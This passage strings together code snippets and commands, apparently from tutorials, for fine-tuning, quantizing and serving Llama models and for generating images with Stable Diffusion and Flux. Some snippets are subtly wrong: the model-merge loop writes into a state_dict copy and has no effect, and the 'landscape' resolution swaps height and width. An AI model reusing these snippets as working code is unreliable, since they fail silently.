    learning_rate=2e-4,
    fp16=True,
    logging_steps=10,
    save_strategy="epoch",
    optim="paged_adamw_8bit"
)

# Train
trainer = Trainer(
    model=model,
    args=training_args,
    train_dataset=tokenized_dataset["train"],
    data_collator=lambda data: {
        'input_ids': torch.stack([f['input_ids'] for f in data]),
        'attention_mask': torch.stack([f['attention_mask'] for f in data]),
        'labels': torch.stack([f['input_ids'] for f in data])
    }
)

trainer.train()

# Save
model.save_pretrained("./llama-lora")
tokenizer.save_pretrained("./llama-lora")

from peft import PeftModel

# Load base model
base_model = AutoModelForCausalLM.from_pretrained(
    "meta-llama/Llama-3.2-3B-Instruct",
    torch_dtype=torch.float16,
    device_map="auto"
)

# Load LoRA
model = PeftModel.from_pretrained(base_model, "./llama-lora")

# Generate
tokenizer = AutoTokenizer.from_pretrained("./llama-lora")
inputs = tokenizer("Your prompt here", return_tensors="pt").to(model.device)
outputs = model.generate(**inputs, max_new_tokens=256)
print(tokenizer.decode(outputs[0], skip_special_tokens=True))

from transformers import Trainer, TrainingArguments

# Load model normally (no quantization)
model = AutoModelForCausalLM.from_pretrained(
    "meta-llama/Llama-3.2-3B-Instruct",
    torch_dtype=torch.bfloat16,
    device_map="auto"
)

# Training arguments
training_args = TrainingArguments(
    output_dir="./llama-fullft",
    num_train_epochs=3,
    per_device_train_batch_size=2,
    gradient_accumulation_steps=8,
    learning_rate=1e-5,
    bf16=True,
    logging_steps=10,
    save_strategy="epoch",
    deepspeed="ds_config.json"  # For multi-GPU
)

# Train
trainer = Trainer(
    model=model,
    args=training_args,
    train_dataset=tokenized_dataset["train"]
)

trainer.train()

# Install
git clone https://github.com/OpenAccess-AI-Collective/axolotl
cd axolotl
pip install -e .

base_model: meta-llama/Llama-3.2-3B-Instruct
model_type: LlamaForCausalLM

load_in_4bit: true
adapter: qlora
lora_r: 16
lora_alpha: 32
lora_dropout: 0.05
lora_target_modules:
  - q_proj
  - k_proj
  - v_proj
  - o_proj

datasets:
  - path: your-dataset
    type: alpaca

num_epochs: 3
micro_batch_size: 4
gradient_accumulation_steps: 4
learning_rate: 0.0002

output_dir: ./llama-qlora-out

accelerate launch -m axolotl.cli.train llama_qlora.yml

from transformers import BitsAndBytesConfig

# 8-bit
bnb_config_8bit = BitsAndBytesConfig(
    load_in_8bit=True,
    llm_int8_threshold=6.0
)

# 4-bit (QLoRA)
bnb_config_4bit = BitsAndBytesConfig(
    load_in_4bit=True,
    bnb_4bit_quant_type="nf4",  # or "fp4"
    bnb_4bit_compute_dtype=torch.bfloat16,
    bnb_4bit_use_double_quant=True
)

model = AutoModelForCausalLM.from_pretrained(
    "meta-llama/Llama-3.2-3B-Instruct",
    quantization_config=bnb_config_4bit,
    device_map="auto"
)

# Convert to GGUF
python convert_hf_to_gguf.py \
    --model-dir models/Llama-3.2-3B-Instruct \
    --outfile llama-3.2-3b-instruct.gguf

# Quantize
./quantize \
    llama-3.2-3b-instruct.gguf \
    llama-3.2-3b-instruct-Q4_K_M.gguf \
    Q4_K_M

pip install auto-gptq

from auto_gptq import AutoGPTQForCausalLM, BaseQuantizeConfig

# Quantize
quantize_config = BaseQuantizeConfig(
    bits=4,
    group_size=128,
    desc_act=False
)

model = AutoGPTQForCausalLM.from_pretrained(
    "meta-llama/Llama-3.2-3B-Instruct",
    quantize_config=quantize_config
)

# Save
model.save_quantized("llama-3.2-3b-gptq")

# Load
model = AutoGPTQForCausalLM.from_quantized(
    "llama-3.2-3b-gptq",
    device_map="auto"
)

pip install autoawq

from awq import AutoAWQForCausalLM

# Quantize
model = AutoAWQForCausalLM.from_pretrained("meta-llama/Llama-3.2-3B-Instruct")
model.quantize(tokenizer, quant_config={"zero_point": True, "q_group_size": 128})
model.save_quantized("llama-3.2-3b-awq")

# Load
model = AutoAWQForCausalLM.from_quantized("llama-3.2-3b-awq")

pip install flash-attn --no-build-isolation

model = AutoModelForCausalLM.from_pretrained(
    "meta-llama/Llama-3.2-3B-Instruct",
    torch_dtype=torch.float16,
    attn_implementation="flash_attention_2",
    device_map="auto"
)

# Process multiple prompts efficiently
prompts = [
    "What is Python?",
    "Explain machine learning",
    "How do computers work?"
]

# Tokenize with padding
inputs = tokenizer(
    prompts,
    return_tensors="pt",
    padding=True,
    truncation=True,
    max_length=512
).to(model.device)

# Generate
outputs = model.generate(
    **inputs,
    max_new_tokens=256,
    temperature=0.7,
    do_sample=True,
    pad_token_id=tokenizer.pad_token_id
)

# Decode
results = tokenizer.batch_decode(outputs, skip_special_tokens=True)
for prompt, result in zip(prompts, results):
    print(f"Q: {prompt}\nA: {result}\n")

# Enable static KV cache for faster inference
model.generation_config.cache_implementation = "static"
model.generation_config.max_length = 512

# Or use with generate
outputs = model.generate(
    input_ids,
    max_new_tokens=256,
    use_cache=True,
    cache_implementation="static"
)

# Build TensorRT engine
git clone https://github.com/NVIDIA/TensorRT-LLM.git
cd TensorRT-LLM

# Convert and build
python examples/llama/convert_checkpoint.py \
    --model_dir models/Llama-3.2-3B-Instruct \
    --output_dir ./trt_ckpt \
    --dtype float16

trtllm-build \
    --checkpoint_dir ./trt_ckpt \
    --output_dir ./trt_engine \
    --gemm_plugin float16

from fastapi import FastAPI
from pydantic import BaseModel
from transformers import AutoTokenizer, AutoModelForCausalLM
import torch

app = FastAPI()

# Load model once at startup
model_name = "meta-llama/Llama-3.2-3B-Instruct"
tokenizer = AutoTokenizer.from_pretrained(model_name)
model = AutoModelForCausalLM.from_pretrained(
    model_name,
    torch_dtype=torch.float16,
    device_map="auto"
)

class GenerateRequest(BaseModel):
    prompt: str
    max_tokens: int = 256
    temperature: float = 0.7

@app.post("/generate")
async def generate(request: GenerateRequest):
    inputs = tokenizer(request.prompt, return_tensors="pt").to(model.device)

    outputs = model.generate(
        **inputs,
        max_new_tokens=request.max_tokens,
        temperature=request.temperature,
        do_sample=True
    )

    result = tokenizer.decode(outputs[0], skip_special_tokens=True)
    return {"response": result}

# Run: uvicorn server:app --host 0.0.0.0 --port 8000

# Start server
vllm serve meta-llama/Llama-3.2-3B-Instruct \
    --host 0.0.0.0 \
    --port 8000 \
    --tensor-parallel-size 1

# Client
curl http://localhost:8000/v1/completions \
    -H "Content-Type: application/json" \
    -d '{
        "model": "meta-llama/Llama-3.2-3B-Instruct",
        "prompt": "What is AI?",
        "max_tokens": 256
    }'

from openai import OpenAI

client = OpenAI(
    base_url="http://localhost:8000/v1",
    api_key="dummy"
)

response = client.completions.create(
    model="meta-llama/Llama-3.2-3B-Instruct",
    prompt="Explain quantum computing",
    max_tokens=256
)

print(response.choices[0].text)

# Docker
docker run --gpus all --shm-size 1g -p 8080:80 \
    -v $PWD/data:/data \
    ghcr.io/huggingface/text-generation-inference:latest \
    --model-id meta-llama/Llama-3.2-3B-Instruct

# Client
curl http://localhost:8080/generate \
    -X POST \
    -d '{"inputs":"What is Python?","parameters":{"max_new_tokens":256}}' \
    -H 'Content-Type: application/json'

pip install langchain langchain-community

from langchain_community.llms import HuggingFacePipeline
from langchain.chains import LLMChain
from langchain.prompts import PromptTemplate
from transformers import AutoTokenizer, AutoModelForCausalLM, pipeline

# Load model
model = AutoModelForCausalLM.from_pretrained(
    "meta-llama/Llama-3.2-3B-Instruct",
    torch_dtype=torch.float16,
    device_map="auto"
)
tokenizer = AutoTokenizer.from_pretrained("meta-llama/Llama-3.2-3B-Instruct")

# Create pipeline
pipe = pipeline(
    "text-generation",
    model=model,
    tokenizer=tokenizer,
    max_new_tokens=256,
    temperature=0.7
)

# LangChain LLM
llm = HuggingFacePipeline(pipeline=pipe)

# Create chain
template = "Question: {question}\n\nAnswer:"
prompt = PromptTemplate(template=template, input_variables=["question"])
chain = LLMChain(llm=llm, prompt=prompt)

# Use
result = chain.run("What is machine learning?")
print(result)

pip install langchain chromadb sentence-transformers

from langchain.embeddings import HuggingFaceEmbeddings
from langchain.vectorstores import Chroma
from langchain.text_splitter import RecursiveCharacterTextSplitter
from langchain.chains import RetrievalQA
from langchain_community.llms import HuggingFacePipeline

# Load documents
documents = ["Your document text here..."]

# Split text
text_splitter = RecursiveCharacterTextSplitter(chunk_size=500, chunk_overlap=50)
texts = text_splitter.create_documents(documents)

# Create embeddings
embeddings = HuggingFaceEmbeddings(model_name="sentence-transformers/all-MiniLM-L6-v2")

# Create vector store
vectorstore = Chroma.from_documents(texts, embeddings)

# Create QA chain
qa_chain = RetrievalQA.from_chain_type(
    llm=llm,
    chain_type="stuff",
    retriever=vectorstore.as_retriever()
)

# Query
query = "What does the document say about AI?"
result = qa_chain.run(query)
print(result)

import json

def get_current_weather(location: str, unit: str = "celsius"):
    """Get current weather for a location"""
    # Simulated function
    return {"location": location, "temperature": 22, "unit": unit}

# Define tools
tools = [
    {
        "name": "get_current_weather",
        "description": "Get the current weather in a given location",
        "parameters": {
            "type": "object",
            "properties": {
                "location": {"type": "string", "description": "City name"},
                "unit": {"type": "string", "enum": ["celsius", "fahrenheit"]}
            },
            "required": ["location"]
        }
    }
]

# System prompt
system_prompt = f"""You are a helpful assistant with access to tools.
Available tools: {json.dumps(tools, indent=2)}

When you need to use a tool, output JSON: {{"tool": "tool_name", "parameters": {{...}}}}
"""

messages = [
    {"role": "system", "content": system_prompt},
    {"role": "user", "content": "What's the weather in Paris?"}
]

# Generate
input_ids = tokenizer.apply_chat_template(messages, return_tensors="pt").to(model.device)
outputs = model.generate(input_ids, max_new_tokens=256)
response = tokenizer.decode(outputs[0][input_ids.shape[-1]:], skip_special_tokens=True)

# Parse and execute tool call
if "tool" in response:
    tool_call = json.loads(response)
    if tool_call["tool"] == "get_current_weather":
        result = get_current_weather(**tool_call["parameters"])
        print(f"Weather: {result}")

pip install outlines

import outlines

# Load model
model = outlines.models.transformers("meta-llama/Llama-3.2-1B-Instruct")

# JSON schema constraint
schema = """{
    "type": "object",
    "properties": {
        "name": {"type": "string"},
        "age": {"type": "integer"},
        "skills": {"type": "array", "items": {"type": "string"}}
    }
}"""

generator = outlines.generate.json(model, schema)
result = generator("Generate a person profile:")
print(result)

# Regex constraint
phone_pattern = r"\d{3}-\d{3}-\d{4}"
generator = outlines.generate.regex(model, phone_pattern)
phone = generator("Generate a US phone number:")
print(phone)

# Choose based on requirements
model_selection = {
    "mobile/edge": "meta-llama/Llama-3.2-1B-Instruct",
    "desktop/low_vram": "meta-llama/Llama-3.2-3B-Instruct",
    "standard": "meta-llama/Llama-3.1-8B-Instruct",
    "high_quality": "meta-llama/Llama-3.1-70B-Instruct",
    "vision": "meta-llama/Llama-3.2-11B-Vision-Instruct"
}

# Use consistent templates
SYSTEM_PROMPT = "You are a helpful, respectful and honest assistant."

def format_chat(user_message, system=SYSTEM_PROMPT):
    return [
        {"role": "system", "content": system},
        {"role": "user", "content": user_message}
    ]

import torch
import gc

def clear_memory():
    gc.collect()
    torch.cuda.empty_cache()

# After large operations
outputs = model.generate(...)
result = tokenizer.decode(outputs[0])
del outputs
clear_memory()

def safe_generate(prompt, max_retries=3):
    for attempt in range(max_retries):
        try:
            inputs = tokenizer(prompt, return_tensors="pt").to(model.device)
            outputs = model.generate(**inputs, max_new_tokens=256)
            return tokenizer.decode(outputs[0], skip_special_tokens=True)
        except RuntimeError as e:
            if "out of memory" in str(e) and attempt < max_retries - 1:
                torch.cuda.empty_cache()
                continue
            raise

# Clone repository
git clone https://github.com/AUTOMATIC1111/stable-diffusion-webui.git
cd stable-diffusion-webui

# Install (Linux/Mac)
./webui.sh

# Install (Windows)
# Double-click webui-user.bat

# With custom arguments
# Edit webui-user.sh or webui-user.bat:
export COMMANDLINE_ARGS="--xformers --medvram --api"

# Clone repository
git clone https://github.com/comfyanonymous/ComfyUI.git
cd ComfyUI

# Install dependencies
pip install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu121
pip install -r requirements.txt

# Run
python main.py

# With arguments
python main.py --listen --port 8188

pip install diffusers transformers accelerate torch torchvision

from diffusers import StableDiffusionPipeline
import torch

# Load model
model_id = "stabilityai/stable-diffusion-2-1"
pipe = StableDiffusionPipeline.from_pretrained(
    model_id,
    torch_dtype=torch.float16
)
pipe = pipe.to("cuda")

# Enable optimizations
pipe.enable_attention_slicing()
pipe.enable_vae_slicing()

# Generate
prompt = "a beautiful landscape"
image = pipe(prompt).images[0]
image.save("output.png")

pip install invokeai
invokeai-configure
invokeai --web

# Download location
models/Stable-diffusion/sd-v1-4.ckpt

# Most popular 1.x version
wget https://huggingface.co/runwayml/stable-diffusion-v1-5

from diffusers import StableDiffusionPipeline

pipe = StableDiffusionPipeline.from_pretrained(
    "stabilityai/stable-diffusion-2-1",
    torch_dtype=torch.float16
)

from diffusers import StableDiffusionXLPipeline

# Base model
base = StableDiffusionXLPipeline.from_pretrained(
    "stabilityai/stable-diffusion-xl-base-1.0",
    torch_dtype=torch.float16,
    variant="fp16"
)
base.to("cuda")

# Refiner (optional, improves quality)
refiner = StableDiffusionXLImg2ImgPipeline.from_pretrained(
    "stabilityai/stable-diffusion-xl-refiner-1.0",
    torch_dtype=torch.float16,
    variant="fp16"
)
refiner.to("cuda")

# Generate
image = base(prompt="a futuristic city").images[0]
image = refiner(prompt="a futuristic city", image=image).images[0]

[Subject] [Action/Scene] [Environment] [Lighting] [Style] [Quality]

Basic:
"a cat"

Better:
"a fluffy orange cat sitting on a windowsill"

Best:
"a fluffy orange tabby cat sitting on a wooden windowsill, looking outside at falling snow, soft natural lighting, cozy atmosphere, detailed fur texture, photorealistic, 4k, highly detailed"

"portrait of a young woman"
"a medieval castle"
"a steampunk airship"
"cyberpunk street scene"

"running through a field"
"sitting in contemplation"
"dancing under moonlight"
"reading a book by firelight"

"in a mystical forest"
"on a alien planet"
"in a Victorian library"
"at a bustling marketplace"

"golden hour lighting"
"dramatic rim lighting"
"soft diffused light"
"neon lights reflecting on wet streets"
"volumetric fog with god rays"

"oil painting style"
"anime art style"
"photorealistic"
"watercolor painting"
"digital art, trending on artstation"
"in the style of Greg Rutkowski"

"highly detailed"
"8k resolution"
"masterpiece"
"professional photography"
"award-winning"
"intricate details"
"sharp focus"

Negative Prompt:
"ugly, blurry, low quality, distorted, deformed, bad anatomy, poorly drawn, low resolution, watermark, signature, text, cropped, worst quality, jpeg artifacts"

# AUTOMATIC1111 syntax
(keyword)       # 1.1x weight
((keyword))     # 1.21x weight
(keyword:1.5)   # 1.5x weight
[keyword]       # 0.9x weight

Example:
"a (beautiful:1.3) landscape with (mountains:1.2) and [trees:0.8]"

# AUTOMATIC1111 syntax
[keyword1:keyword2:step]

Example:
"a [dog:cat:0.5]"
# Generates dog for first 50% of steps, then cat

"photo of a woman [smiling:serious:10]"
# Smiling for first 10 steps, then serious

"in the style of Van Gogh"
"by Greg Rutkowski"
"by Alphonse Mucha"
"by Simon Stalenhag"
"by Artgerm"
"by Ilya Kuvshinov"

# Fewer steps = faster, less refined
image = pipe(prompt, num_inference_steps=20)

# More steps = slower, more refined
image = pipe(prompt, num_inference_steps=50)

# Low CFG = creative, less adherence
image = pipe(prompt, guidance_scale=3.5)

# Medium CFG = balanced
image = pipe(prompt, guidance_scale=7.5)

# High CFG = strict adherence, may oversaturate
image = pipe(prompt, guidance_scale=15)

# Random seed
image = pipe(prompt)

# Fixed seed for reproducibility
generator = torch.Generator("cuda").manual_seed(42)
image = pipe(prompt, generator=generator)

from diffusers import (
    DPMSolverMultistepScheduler,
    EulerAncestralDiscreteScheduler,
    DDIMScheduler
)

# Fast and high quality (recommended)
pipe.scheduler = DPMSolverMultistepScheduler.from_config(
    pipe.scheduler.config
)

# More creative, varied
pipe.scheduler = EulerAncestralDiscreteScheduler.from_config(
    pipe.scheduler.config
)

# Stable, predictable
pipe.scheduler = DDIMScheduler.from_config(
    pipe.scheduler.config
)

# SD 1.5 native: 512x512
image = pipe(prompt, width=512, height=512)

# SD 2.1 native: 768x768
image = pipe(prompt, width=768, height=768)

# SDXL native: 1024x1024
image = pipe(prompt, width=1024, height=1024)

# Portrait
image = pipe(prompt, width=512, height=768)

# Landscape
image = pipe(prompt, width=768, height=512)

# Generate multiple images
images = pipe(
    prompt,
    num_images_per_prompt=4,
    guidance_scale=7.5
).images

# Save all
for i, img in enumerate(images):
    img.save(f"output_{i}.png")

from diffusers import StableDiffusionImg2ImgPipeline
from PIL import Image

pipe = StableDiffusionImg2ImgPipeline.from_pretrained(
    "stabilityai/stable-diffusion-2-1",
    torch_dtype=torch.float16
).to("cuda")

# Load image
init_image = Image.open("input.jpg").convert("RGB")
init_image = init_image.resize((768, 768))

# Transform
prompt = "a fantasy castle, magical, highly detailed"
images = pipe(
    prompt=prompt,
    image=init_image,
    strength=0.75,  # 0=no change, 1=complete regeneration
    guidance_scale=7.5,
    num_inference_steps=50
).images[0]

images.save("transformed.png")

from diffusers import StableDiffusionInpaintPipeline

pipe = StableDiffusionInpaintPipeline.from_pretrained(
    "stabilityai/stable-diffusion-2-inpainting",
    torch_dtype=torch.float16
).to("cuda")

# Load image and mask
image = Image.open("photo.png")
mask = Image.open("mask.png")  # White = inpaint, Black = keep

prompt = "a red vintage car"
result = pipe(
    prompt=prompt,
    image=image,
    mask_image=mask,
    num_inference_steps=50,
    guidance_scale=7.5
).images[0]

result.save("inpainted.png")

from diffusers import StableDiffusionControlNetPipeline, ControlNetModel
from PIL import Image
import cv2
import numpy as np

# Load ControlNet model
controlnet = ControlNetModel.from_pretrained(
    "lllyasviel/sd-controlnet-canny",
    torch_dtype=torch.float16
)

pipe = StableDiffusionControlNetPipeline.from_pretrained(
    "runwayml/stable-diffusion-v1-5",
    controlnet=controlnet,
    torch_dtype=torch.float16
).to("cuda")

# Load image and create canny edge map
image = Image.open("input.jpg")
image = np.array(image)
canny_edges = cv2.Canny(image, 100, 200)
canny_edges = Image.fromarray(canny_edges)

# Generate with control
prompt = "a professional architectural photograph"
output = pipe(
    prompt=prompt,
    image=canny_edges,
    num_inference_steps=30
).images[0]

from diffusers import StableDiffusionPipeline

pipe = StableDiffusionPipeline.from_pretrained(
    "runwayml/stable-diffusion-v1-5",
    torch_dtype=torch.float16
).to("cuda")

# Load LoRA
pipe.load_lora_weights("path/to/lora.safetensors")

# Generate with LoRA style
prompt = "a portrait in the style of <lora-trigger-word>"
image = pipe(prompt).images[0]

# Unload LoRA
pipe.unload_lora_weights()

# Load embedding
pipe.load_textual_inversion("path/to/embedding.pt", token="<special-token>")

# Use in prompt
prompt = "a photo of <special-token> in a forest"
image = pipe(prompt).images[0]

from diffusers import StableDiffusionUpscalePipeline

# Load upscaler
upscaler = StableDiffusionUpscalePipeline.from_pretrained(
    "stabilityai/stable-diffusion-x4-upscaler",
    torch_dtype=torch.float16
).to("cuda")

# Load low-res image
low_res = Image.open("output_512.png")

# Upscale
prompt = "highly detailed, sharp, professional"
upscaled = upscaler(
    prompt=prompt,
    image=low_res,
    num_inference_steps=50
).images[0]

upscaled.save("output_2048.png")

cd extensions
git clone [extension-repo-url]

git clone https://github.com/Mikubill/sd-webui-controlnet.git

git clone https://github.com/adieyal/sd-dynamic-prompts.git

git clone https://github.com/AlUlkesh/stable-diffusion-webui-images-browser.git

git clone https://github.com/hnmr293/sd-webui-cutoff.git

git clone https://github.com/hako-mikan/sd-webui-regional-prompter.git

from diffusers import StableDiffusionPipeline
import torch

# Load two models
pipe1 = StableDiffusionPipeline.from_pretrained("model1")
pipe2 = StableDiffusionPipeline.from_pretrained("model2")

# Merge (0.5 = 50/50 blend)
alpha = 0.5
for key in pipe1.unet.state_dict():
    pipe1.unet.state_dict()[key] = (
        alpha * pipe1.unet.state_dict()[key] +
        (1 - alpha) * pipe2.unet.state_dict()[key]
    )

# Save merged model
pipe1.save_pretrained("merged_model")

# In AUTOMATIC1111
Prompt: a |red, blue, green| |car, house| in a forest

Generates:
- a red car in a forest
- a red house in a forest
- a blue car in a forest
- a blue house in a forest
- a green car in a forest
- a green house in a forest

from diffusers import StableDiffusionPipeline
import torch

pipe = StableDiffusionPipeline.from_pretrained(
    "runwayml/stable-diffusion-v1-5",
    torch_dtype=torch.float16  # Half precision
).to("cuda")

# Enable memory optimizations
pipe.enable_attention_slicing()  # Reduce memory
pipe.enable_vae_slicing()  # Reduce VAE memory
pipe.enable_xformers_memory_efficient_attention()  # Faster attention

# For very low VRAM (4GB)
pipe.enable_sequential_cpu_offload()

# Use faster scheduler
from diffusers import DPMSolverMultistepScheduler

pipe.scheduler = DPMSolverMultistepScheduler.from_config(
    pipe.scheduler.config
)

# Compile model (PyTorch 2.0+)
pipe.unet = torch.compile(pipe.unet, mode="reduce-overhead")

# Reduce steps with quality scheduler
image = pipe(prompt, num_inference_steps=20)  # vs 50 with others

# Basic optimization
--xformers              # Memory-efficient attention
--medvram               # Medium VRAM optimization
--lowvram               # Low VRAM optimization
--no-half-vae           # Fix black images on some GPUs

# API
--api                   # Enable API
--listen                # Allow network connections

# Performance
--opt-sdp-attention     # Scaled dot product attention
--no-gradio-queue       # Disable queue

# Example combination
./webui.sh --xformers --medvram --api --no-half-vae

# Solution: Disable half precision for VAE
--no-half-vae

pipe.vae.to(torch.float32)

# Enable all optimizations
pipe.enable_attention_slicing()
pipe.enable_vae_slicing()
pipe.enable_sequential_cpu_offload()

# Reduce resolution
image = pipe(prompt, width=512, height=512)

# Reduce batch size
image = pipe(prompt, num_images_per_prompt=1)

Negative prompt: "bad hands, bad anatomy, extra fingers, missing fingers, deformed hands, poorly drawn hands"

# Or use inpainting to fix
# Or use ControlNet OpenPose for guidance

# Use fixed seed
generator = torch.Generator("cuda").manual_seed(42)
image = pipe(prompt, generator=generator)

# Use lower temperature sampler (DDIM instead of Euler a)

[Quality] [Style] [Subject] [Action] [Environment] [Lighting] [Details]

Example:
"masterpiece, best quality, photorealistic, portrait of a young woman, smiling, in a sunlit garden, golden hour lighting, detailed facial features, professional photography, 8k uhd"

# Start with low steps for preview
preview = pipe(prompt, num_inference_steps=15).images[0]

# Refine with more steps
final = pipe(prompt, num_inference_steps=50).images[0]

# Upscale for details
upscaled = upscale(final)

# Save seeds for good results
good_seeds = []

for seed in range(100):
    gen = torch.Generator("cuda").manual_seed(seed)
    image = pipe(prompt, generator=gen).images[0]

    if is_good(image):
        good_seeds.append(seed)
        image.save(f"good_{seed}.png")

negative_prompts = {
    'photorealistic': "anime, cartoon, drawing, painting, low quality",
    'artistic': "photorealistic, photo, realistic, low quality",
    'quality': "ugly, blurry, low quality, low resolution, pixelated",
    'anatomy': "bad anatomy, extra limbs, poorly drawn, deformed",
    'artifacts': "watermark, signature, text, logo, copyright"
}

# Combine as needed
negative = ", ".join([
    negative_prompts['quality'],
    negative_prompts['anatomy'],
    negative_prompts['artifacts']
])

import requests

API_URL = "https://api.bfl.ml/v1/flux-pro"
API_KEY = "your-api-key"

def generate_flux_pro(prompt):
    headers = {
        "Authorization": f"Bearer {API_KEY}",
        "Content-Type": "application/json"
    }

    payload = {
        "prompt": prompt,
        "width": 1024,
        "height": 1024,
        "steps": 30
    }

    response = requests.post(API_URL, json=payload, headers=headers)
    return response.json()

# Generate
result = generate_flux_pro(
    "a professional photograph of a modern office, natural lighting, detailed"
)

import torch
from diffusers import FluxPipeline

# Load model
pipe = FluxPipeline.from_pretrained(
    "black-forest-labs/FLUX.1-dev",
    torch_dtype=torch.bfloat16
)
pipe.to("cuda")

# Generate
prompt = "a majestic lion in the savanna at sunset, highly detailed"
image = pipe(
    prompt,
    guidance_scale=3.5,
    num_inference_steps=30,
    height=1024,
    width=1024,
).images[0]

image.save("flux_output.png")

from diffusers import FluxPipeline
import torch

# Load schnell variant
pipe = FluxPipeline.from_pretrained(
    "black-forest-labs/FLUX.1-schnell",
    torch_dtype=torch.bfloat16
)
pipe.to("cuda")

# Fast generation (1-4 steps)
prompt = "a portrait of a person, professional photography"
image = pipe(
    prompt,
    num_inference_steps=4,  # Very few steps needed
    guidance_scale=0.0,  # No guidance needed
    height=1024,
    width=1024,
).images[0]

image.save("schnell_output.png")

# Install dependencies
pip install diffusers transformers accelerate torch

# Install from latest
pip install git+https://github.com/huggingface/diffusers.git

from diffusers import FluxPipeline
import torch

# Authenticate with Hugging Face
from huggingface_hub import login
login(token="your_hf_token")

# Load model
pipe = FluxPipeline.from_pretrained(
    "black-forest-labs/FLUX.1-dev",
    torch_dtype=torch.bfloat16
)
pipe.enable_model_cpu_offload()  # Save VRAM

# Generate
image = pipe("a beautiful landscape").images[0]

# Update ComfyUI
cd ComfyUI
git pull

# Download Flux models to:
# models/unet/flux1-dev.safetensors
# models/unet/flux1-schnell.safetensors

# Download CLIP and T5 encoders to:
# models/clip/clip_l.safetensors
# models/clip/t5xxl_fp16.safetensors

# Download VAE to:
# models/vae/ae.safetensors

cd extensions
git clone https://github.com/XLabs-AI/x-flux-comfyui.git
# Restart WebUI

from diffusers import FluxPipeline
import torch

pipe = FluxPipeline.from_pretrained(
    "black-forest-labs/FLUX.1-dev",
    torch_dtype=torch.bfloat16
)
pipe.to("cuda")

# Simple generation
prompt = "a serene mountain lake at sunrise"
image = pipe(prompt).images[0]
image.save("output.png")

image = pipe(
    prompt="a futuristic city with flying cars, neon lights, cyberpunk",
    height=1024,
    width=1024,
    num_inference_steps=30,
    guidance_scale=3.5,
    max_sequence_length=256,
).images[0]

# Multiple images from one prompt
images = pipe(
    prompt="a cute cat",
    num_images_per_prompt=4,
    num_inference_steps=30,
).images

for i, img in enumerate(images):
    img.save(f"cat_{i}.png")

# Fixed seed for reproducibility
generator = torch.Generator("cuda").manual_seed(42)

image = pipe(
    prompt="a magical forest",
    generator=generator,
    num_inference_steps=30,
).images[0]

# For lower VRAM
pipe.enable_model_cpu_offload()
pipe.enable_sequential_cpu_offload()
pipe.vae.enable_slicing()
pipe.vae.enable_tiling()

# Generate
image = pipe(
    prompt="a detailed landscape",
    height=1024,
    width=1024,
).images[0]

# Simple and effective
prompt = "a portrait of a woman with red hair, wearing a blue dress, in a garden"

# Detailed
prompt = """
a professional photograph of a young woman with flowing red hair, 
wearing an elegant blue silk dress, standing in a lush garden 
with blooming roses, soft natural lighting, golden hour, 
depth of field, bokeh background, shot on Canon EOS R5
"""

# With style
prompt = """
oil painting of a medieval knight in full armor, 
standing on a cliff overlooking the ocean at sunset,
dramatic lighting, renaissance art style, 
highly detailed, masterpiece
"""

prompts = [
    "Show me a cat wearing sunglasses at the beach",
    "Create an image of a steampunk airship flying over Victorian London",
    "Paint a serene Japanese garden in autumn with falling maple leaves",
    "Design a futuristic sports car that looks fast even when standing still"
]

# Text rendering
prompt = '''
a modern cafe storefront with a neon sign that says "COFFEE SHOP",
rainy evening, reflections on wet pavement, cinematic lighting
'''

# Book cover
prompt = '''
a fantasy book cover with the title "The Dragon's Tale" 
written in elegant golden letters at the top,
featuring a majestic dragon flying over mountains
'''

# Product mockup
prompt = '''
a white t-shirt with the text "FLUX.1" printed in bold black letters,
product photography, plain white background, professional lighting
'''

# Portrait
image = pipe(prompt, height=1344, width=768).images[0]

# Landscape
image = pipe(prompt, height=768, width=1344).images[0]

# Square
image = pipe(prompt, height=1024, width=1024).images[0]

# Cinematic
image = pipe(prompt, height=576, width=1024).images[0]

# Ultra-wide
image = pipe(prompt, height=512, width=1536).images[0]

# Photorealistic
prompt = """
a cinematic photograph of a lone astronaut standing on mars, 
red desert landscape, distant sun on horizon, 
dust particles in air, dramatic lighting, 
shot on ARRI Alexa, anamorphic lens
"""

# Artistic
prompt = """
watercolor painting of a coastal village, 
Mediterranean architecture, boats in harbor, 
soft pastel colors, impressionist style, 
painted by Claude Monet
"""

# Product
prompt = """
professional product photography of a luxury watch, 
silver metal band, blue dial face, 
on marble surface with dramatic side lighting, 
reflections, 8k resolution, advertising quality
"""

# Character
prompt = """
character design of a cyberpunk hacker, 
purple mohawk, neon goggles, leather jacket with patches, 
detailed facial features, full body illustration, 
concept art style, trending on artstation
"""

# Architecture
prompt = """
modern minimalist house in forest setting, 
large glass windows, wooden exterior, 
surrounded by tall pine trees, morning mist, 
architectural photography, professional real estate photo
"""

# Schnell: 1-4 steps (optimized for speed)
image = pipe(prompt, num_inference_steps=4).images[0]

# Dev: 20-50 steps (balance)
image = pipe(prompt, num_inference_steps=30).images[0]

# Pro: API manages automatically

# Schnell: 0.0 (no guidance needed)
image = pipe(prompt, guidance_scale=0.0).images[0]

# Dev: 3.0-5.0 (3.5 recommended)
image = pipe(prompt, guidance_scale=3.5).images[0]

# Standard
image = pipe(prompt, max_sequence_length=256).images[0]

# Long prompts
image = pipe(prompt, max_sequence_length=512).images[0]

# Standard resolutions (in pixels)
resolutions = {
    "square": (1024, 1024),
    "portrait": (768, 1344),
    "landscape": (1344, 768),
    "wide": (1536, 640),
    "tall": (640, 1536),
}

# Use
image = pipe(
    prompt,
    height=resolutions["landscape"][0],
    width=resolutions["landscape"][1]
).images[0]

# Same prompt across models
prompt = "a detailed portrait of a person with glasses"

# Flux.1 Dev
flux_image = flux_pipe(prompt, num_inference_steps=30).images[0]
# Result: High detail, accurate glasses, natural lighting

# SDXL
sdxl_image = sdxl_pipe(prompt, num_inference_steps=30).images[0]
# Result: Good quality, some artifacts

# SD 1.5
sd15_image = sd15_pipe(prompt, num_inference_steps=30).images[0]
# Result: Lower quality, potential distortions

from diffusers import FluxImg2ImgPipeline
from PIL import Image

# Load pipeline
pipe = FluxImg2ImgPipeline.from_pretrained(
    "black-forest-labs/FLUX.1-dev",
    torch_dtype=torch.bfloat16
)
pipe.to("cuda")

# Load input image
init_image = Image.open("input.jpg").convert("RGB")

# Transform
prompt = "transform into an oil painting, artistic style"
image = pipe(
    prompt=prompt,
    image=init_image,
    strength=0.75,
    num_inference_steps=30,
    guidance_scale=3.5
).images[0]

# Note: Official ControlNet not yet released
# Community implementations available

# Example with X-Labs implementation
from flux_control import FluxControlNetPipeline

pipe = FluxControlNetPipeline.from_pretrained(
